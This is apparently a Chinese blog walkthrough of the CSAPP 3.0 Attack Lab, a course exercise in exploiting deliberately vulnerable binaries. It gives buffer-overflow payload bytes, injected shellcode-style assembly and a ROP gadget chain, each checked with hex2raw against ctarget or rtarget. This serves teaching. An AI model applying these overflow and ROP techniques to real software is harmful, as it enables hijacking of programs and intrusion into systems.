CSAPP3.0-AttackLab

本文详细介绍了缓冲区溢出攻击的三个不同级别,包括如何通过填充栈帧来改变程序执行流程,以及如何在不修改原有代码的情况下利用Return-Oriented Programming(ROP)技术实现控制流劫持,达到调用特定函数的目的。通过对汇编代码的理解和利用现有指令序列,成功构造了攻击字节码并验证了攻击效果。
摘要由CSDN通过智能技术生成

Part 1: Code Injection Attacks

/*  getbuf code  */
unsigned getbuf(){
    char buf[BUFFER_SIZE];
    Gets(buf);
    return 1;
}
/*  test code  */
void test(){
    int val;
    val = getbuf();
    printf("No exploit. Getbuf returned 0x%x\n", val);
}
Level 1

这一题考察缓冲区溢出,无需注入代码,覆盖getbuf对应栈帧,重写其返回地址即可。

void touch1() {
    vlevel = 1;
    printf("Touch!: You called touch1()\n");
    validate(1);
    exit(0);
}

利用gdb调试ctarget,反汇编getbuf

请添加图片描述

从第一行sub $0x28, %rsp可知BUFFER_SIZE大小为0x28,十进制大小为40

反汇编touch1

请添加图片描述

可知touch1地址为0x4017c0

参考课本196页图3-40,输入的字节码需要将栈中前40个字节填满,然后再重写返回地址,如下图。

请添加图片描述
所使用的硬件设备为小端模式,于是输入的字节码为:

/*  level1.txt   */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00  <-- 重写的返回地址

使用如下命令验证结果:

$ ./hex2raw -i level1.txt | ./ctarget -q

请添加图片描述

Level 2

这一题需要注入代码,覆盖getbuf栈帧。touch2代码如下:

void touch2(unsigned val){
    vlevel = 2;
    if (val == cookie){
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}

函数的第一个参数由寄存器%rdi传入,要想使val == cookie,我们需要查看cookie的值,并将其传给%rdi,随后将touch2地址压入栈,并使用ret指令将控制权转移给touch2函数(避免使用jmp或者call)。

在终端输入cat cookie.txt查看cookie的值。

请添加图片描述
gdb反汇编touch2查看其地址:
请添加图片描述
编写注入代码:

/*  inject.s   */
movq	$0x59b997fa, %rdi
pushq	$0x4017ec
ret

使用gcc编译,并用objdump反汇编:

请添加图片描述
得到这段代码的字节码:

48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3

getbuf函数入口处设置断点,之后运行到该处,再stepi单步执行,此时程序已执行完getbuf函数,已返回,此时%rsp的值即为原getbuf返回地址(这一题中,输入的字节码不需要重写getbuf的返回地址)。
请添加图片描述
由此,可得到输入字节码为:

48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00

使用如下命令验证结果:

$ ./hex2raw -i level2.txt | ./ctarget -q

请添加图片描述

Level 3

这一题也需要注入代码,需要传入一个字符串作为参数,hexmatchtouch3函数如下:

int hexmatch(unsigned val, char *sval){
    char cbuf[110];
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval){
    vlevel = 3;
    if (hexmatch(cookie, sval)){
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

此题的思路是将cookie字符串(长度为8)存入某个地址,并将该地址作为参数传入touch3(参数为指针char *)。为了方便操作,可使用getbuf或者test栈帧中的某个地址存储cookie。由于hexmatch函数中char *s = cbuf + random() % 100;可能会破坏getbuf的栈帧,故将cookie存入test的栈帧。

进入getbuf之前程序还在test中的栈帧:
请添加图片描述

%rsp = 0x5561dca0,可知栈帧中最顶层地址0x5561dca8,使用此部分栈帧。

请添加图片描述

%rsp的内存地址是0x5561dca0,里边存储的是调用getbuf函数的返回地址0x5561dc78。保持返回地址不变,在它之前test栈帧中存储cookie字符的十六进制字节码,此处的地址0x5561dca8作为参数传给touch3

反汇编touch3

请添加图片描述
得到touch3地址0x4018fa

注入代码为:

/*  inject.s   */
movq	$0x5561dca8, %rdi
pushq	$0x4018fa
ret

使用gcc编译,并用objdump反汇编:

请添加图片描述

得到这段代码的字节码:

48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3

在终端使用man ascii,对照得到cookie字符串的十六进制:

35 39 62 39 39 37 66 61 00

getbuf返回地址不变,最终得到输入的字节码为:

48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
00			<-- 字符串结束符'\0'

使用如下命令验证结果:

$ ./hex2raw -i level3.txt | ./ctarget -q

请添加图片描述

Part 2: Return-Oriented Programming

请添加图片描述
请添加图片描述

Level 2

这一题是重复代码注入攻击中第二阶段的任务,劫持程序流,返回到touch2函数。只不过使用的是ROP攻击,不能将指令序列放入栈中,而应在现有的程序中,找到我们需要的指令序列。

我们需要如下指令:

popq %rax
movq %rax, %rdi

对照表A、B,popq %rax对应指令字节58movq %rax, %rdi对应指令字节48 89 c7

rtarget反汇编:

$ objdump -d ./rtarget > rtarget.asm

使用vim打开rtarget.asm,找到对应函数。

00000000004019a0 <addval_273>:
  4019a0: 8d 87 48 89 c7 c3     lea    -0x3c3876b8(%rdi),%eax
  4019a6: c3                    retq

00000000004019a7 <addval_219>:
  4019a7: 8d 87 51 73 58 90     lea    -0x6fa78caf(%rdi),%eax
  4019ad: c3                    retq

可以得到popq %rax指令地址为0x4019abmovq %rax, %rdi指令地址为0x4019a2

请添加图片描述
综上,得到输入的字节码为:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00

使用如下命令验证结果:

$ ./hex2raw -i level4.txt | ./rtarget -q

请添加图片描述

参考博客:https://www.jianshu.com/p/db731ca57342

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

刷子c

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值